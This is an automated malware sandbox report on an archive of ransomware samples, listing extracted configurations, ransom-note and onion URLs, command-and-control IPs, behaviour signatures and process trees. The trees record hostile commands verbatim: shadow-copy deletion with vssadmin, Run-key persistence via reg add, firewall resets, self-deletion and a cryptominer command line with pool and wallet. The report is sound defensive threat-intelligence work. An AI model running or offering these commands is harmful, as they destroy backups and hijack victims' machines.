Analysis
-
max time kernel
168s -
max time network
301s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
17-09-2024 14:09
General
-
Target
RNSM00480.7z
-
Size
26.3MB
-
MD5
eddd0c8d8f9919c8a2d18a25047d1b8c
-
SHA1
06c72f0c222805e448a3a5f15c204ddca9b65492
-
SHA256
3a6cee5509bb09d4e479d91dbf1ba292e76686c14c6a1049de7c0e0ddbdf7a2b
-
SHA512
68c7cb44dfc9c2b184844825e94a7f6ab122ad0eae8a1bd6eaf1132357c209976563eea702b5f6123a23c682f9aff23095f5307954809fa3e93ff0ea14eb3f6b
-
SSDEEP
393216:pSaU4WVWKWzPcGR3Rh5+bNAyie1ZEkkR7jxxacZ+HrMBnmHcLN0uYXKY3CBB0Ddl:dXTbR35S3PPe7j1sYg8LoXvSB4CTNA
Malware Config
Extracted
C:\Program Files\7-Zip\Lang\+REcovER+kwixt+.txt
http://88fga.ketteaero.com/C87BFBF0377562DB
http://2bdfb.spinakrosa.at/C87BFBF0377562DB
http://uj5nj.onanwhit.com/C87BFBF0377562DB
http://k7tlx3ghr3m4n2tu.onion/C87BFBF0377562DB
Extracted
blackmatter
2.0
207aab0afc614ac68359fc63f9665961
https://fluentzip.org
http://fluentzip.org
-
attempt_auth
false
-
create_mutex
true
-
encrypt_network_shares
true
-
exfiltrate
true
-
mount_volumes
true
Extracted
F:\WzEgyMggM.README.txt
blackmatter
http://supp24maprinktc7uizgfyqhisx7lkszb6ogh6lwdzpac23w3mh4tvyd.onion/EWX33VYY3IGOXSG5ZZ2
Extracted
urelas
1.234.83.146
133.242.129.155
218.54.31.226
218.54.31.165
112.175.88.207
112.175.88.208
218.54.30.235
Extracted
C:\Users\Admin\AppData\Local\Microsoft\Office\_R_E_A_D___T_H_I_S___JQ6X30OI_.txt
http://xpcx6erilkjced3j.onion/30C0-25AF-6105-0006-4DCA
http://xpcx6erilkjced3j.tor2web.org/30C0-25AF-6105-0006-4DCA
http://xpcx6erilkjced3j.onion.link/30C0-25AF-6105-0006-4DCA
http://xpcx6erilkjced3j.onion.nu/30C0-25AF-6105-0006-4DCA
http://xpcx6erilkjced3j.onion.cab/30C0-25AF-6105-0006-4DCA
http://xpcx6erilkjced3j.onion.to/30C0-25AF-6105-0006-4DCA
Extracted
C:\Users\Admin\AppData\Local\Microsoft\Office\_R_E_A_D___T_H_I_S___ZX0XEV_.hta
cerber
Extracted
C:\Program Files\Common Files\DESIGNER\!! READ ME !!.txt
http://cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd.onion/
Signatures
-
AtomSilo
Ransomware family first seen in September 2021.
-
AtomSilo Ransomware 1 IoCs
-
BlackMatter Ransomware
BlackMatter ransomware group claims to be Darkside and REvil succesor.
-
Cerber 2 IoCs
Cerber is a widely used ransomware-as-a-service (RaaS), first seen in 2017.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Urelas
Urelas is a trojan targeting card games.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Renames multiple (132) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Renames multiple (55) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
XMRig Miner payload 7 IoCs
-
Blocklisted process makes network request 1 IoCs
-
Contacts a large (1126) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Modifies Windows Firewall 2 TTPs 2 IoCs
-
Patched UPX-packed file 1 IoCs
Sample is packed with UPX but required header fields are zeroed out to prevent unpacking with the default UPX tool.
-
Stops running service(s) 4 TTPs
-
Checks computer location settings 2 TTPs 12 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 4 IoCs
-
Executes dropped EXE 28 IoCs
-
Loads dropped DLL 4 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 20 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Unexpected DNS network traffic destination 4 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Adds Run key to start application 2 TTPs 7 IoCs
-
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
-
Uses Tor communications 1 TTPs
Malware can proxy its traffic through Tor for more anonymity.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 1 IoCs
-
Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
-
Detects Pyinstaller 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
-
Program crash 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Kills process with taskkill 1 IoCs
-
Modifies Control Panel 3 IoCs
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Modifies data under HKEY_USERS 1 IoCs
-
Modifies registry class 3 IoCs
-
Modifies registry key 1 TTPs 2 IoCs
-
NTFS ADS 1 IoCs
-
Opens file in notepad (likely ransom note) 1 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 40 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 8 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 2 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\RNSM00480.7z1⤵
- Modifies registry class
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00480.7z"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /12⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.MSIL.Blocker.gen-5ea07c8da7781767b8085b2a8a43dd20187738d10017cbbf199d42caf2172d4f.exeHEUR-Trojan-Ransom.MSIL.Blocker.gen-5ea07c8da7781767b8085b2a8a43dd20187738d10017cbbf199d42caf2172d4f.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Services.exe"C:\Users\Admin\AppData\Roaming\Services.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\explorer.exeC:\Windows\explorer.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=eu1.hellominer.com:4400 --user=8BQbtadKggfjM36Ykvam8B8eKg9WUFJooo4CUb3HRZNpe1UFF2kLLonB7UtV97nMVRn1w2bM656PLog19npoErZ98viexry --pass= --cpu-max-threads-hint=40 --donate-level=5 --unam-idle-wait=3 --unam-idle-cpu=80 --unam-stealth5⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Agent.gen-93db1fb7ce3920e2b518b5df59abf0283e4630e5446e6af9883fae0e17e28f99.exeHEUR-Trojan-Ransom.Win32.Agent.gen-93db1fb7ce3920e2b518b5df59abf0283e4630e5446e6af9883fae0e17e28f99.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Bitman.vho-24c72c89dead0d71ad751d1cb5a6fe956586952ec555ebeeb6e6d0901763c154.exeHEUR-Trojan-Ransom.Win32.Bitman.vho-24c72c89dead0d71ad751d1cb5a6fe956586952ec555ebeeb6e6d0901763c154.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2296 -s 3724⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Bitman.vho-a71eb17223e9300a1b37f9da5cadc29cbe5b551e661d431eb3fd040eafbc4945.exeHEUR-Trojan-Ransom.Win32.Bitman.vho-a71eb17223e9300a1b37f9da5cadc29cbe5b551e661d431eb3fd040eafbc4945.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\amslgq.exeC:\Users\Admin\Documents\amslgq.exe4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" Delete Shadows /All /Quiet5⤵
- Interacts with shadow copies
-
-
C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\+REcovER+kwixt+.txt5⤵
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" Delete Shadows /All /Quiet5⤵
- Interacts with shadow copies
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\DOCUME~1\amslgq.exe >> NUL5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\Desktop\00480\HEUR-T~4.EXE >> NUL4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Blocker.pef-f02cbcc174a9c4bd426fad2cd0e6cb9587e5fa90262d6ff09fe7c672b5653d9d.exeHEUR-Trojan-Ransom.Win32.Blocker.pef-f02cbcc174a9c4bd426fad2cd0e6cb9587e5fa90262d6ff09fe7c672b5653d9d.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\zbhnd.exe"C:\Users\Admin\AppData\Local\Temp\zbhnd.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Blocker.vho-cd47301ad14fefb0d6ac75f8ac1dcf2b0d854527d0f0df495e6d85ef9fc83b9c.exeHEUR-Trojan-Ransom.Win32.Blocker.vho-cd47301ad14fefb0d6ac75f8ac1dcf2b0d854527d0f0df495e6d85ef9fc83b9c.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Blocker.vho-cd47301ad14fefb0d6ac75f8ac1dcf2b0d854527d0f0df495e6d85ef9fc83b9c.exeHEUR-Trojan-Ransom.Win32.Blocker.vho-cd47301ad14fefb0d6ac75f8ac1dcf2b0d854527d0f0df495e6d85ef9fc83b9c.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29~1/sample.pdf"5⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\_MEI29~1\sample.pdf"6⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140437⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5AB58EDB7BB8C13DD73AFFD2C1D9902A --mojo-platform-channel-handle=1760 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:28⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=27905C56F8D45BCF7BEE94DF56B0A550 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=27905C56F8D45BCF7BEE94DF56B0A550 --renderer-client-id=2 --mojo-platform-channel-handle=1788 --allow-no-sandbox-job /prefetch:18⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=1BBFDE4A5C3AA998B7C075D98ED9BCD2 --mojo-platform-channel-handle=2348 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:28⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=102B8386CD2F241875B204DCF7CE2850 --mojo-platform-channel-handle=1940 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:28⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3279DD63721494692E53103CDE4C617E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3279DD63721494692E53103CDE4C617E --renderer-client-id=6 --mojo-platform-channel-handle=1932 --allow-no-sandbox-job /prefetch:18⤵
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A33E63E1D31D6C710488449E20C59A74 --mojo-platform-channel-handle=2440 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:28⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Windows Explorer.exe""5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Windows Explorer.exe"6⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
C:\Users\Admin\Desktop\00480\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-f52116fc94b8f17dff33a229352b3d2a9d8172295be3cde8370071d895186f88.exeHEUR-Trojan-Ransom.Win32.Cryptoff.vho-f52116fc94b8f17dff33a229352b3d2a9d8172295be3cde8370071d895186f88.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 2296 -ip 22961⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win64.LockFile.l-7a5999c54f4588ff1581d03938b7dcbd874ee871254e2018b98ef911ae6c8dee.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win64.LockFile.l-7a5999c54f4588ff1581d03938b7dcbd874ee871254e2018b98ef911ae6c8dee.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Zerber.fobf-397a0bf45f99385aa09034dd86e728b9b7ef71f5e119653e6d5273133dcd8bcc.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.Zerber.fobf-397a0bf45f99385aa09034dd86e728b9b7ef71f5e119653e6d5273133dcd8bcc.exe"1⤵
- Cerber
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\system32\netsh.exe advfirewall set allprofiles state on2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exeC:\Windows\system32\netsh.exe advfirewall reset2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\_R_E_A_D___T_H_I_S___ROA6_.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵
-
-
C:\Windows\SysWOW64\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\_R_E_A_D___T_H_I_S___KJ2PZ7ZC_.txt2⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe"2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im "Trojan-Ransom.Win32.Zerber.fobf-397a0bf45f99385aa09034dd86e728b9b7ef71f5e119653e6d5273133dcd8bcc.exe"3⤵
- Cerber
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.13⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.SuspFile.ae-2aad85dbd4c79bd21c6218892552d5c9fb216293a251559ba59d45d56a01437c.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.SuspFile.ae-2aad85dbd4c79bd21c6218892552d5c9fb216293a251559ba59d45d56a01437c.exe"1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.PornoBlocker.ajrm-58f5f8962153d5fbcc96dfa2ef345f396677b9e3d4ab658850cd77726f8b2f37.exe"C:\Users\Admin\Desktop\00480\Trojan-Ransom.Win32.PornoBlocker.ajrm-58f5f8962153d5fbcc96dfa2ef345f396677b9e3d4ab658850cd77726f8b2f37.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\84e5c081\jusched.exe"C:\Program Files (x86)\84e5c081\jusched.exe"2⤵
- Executes dropped EXE
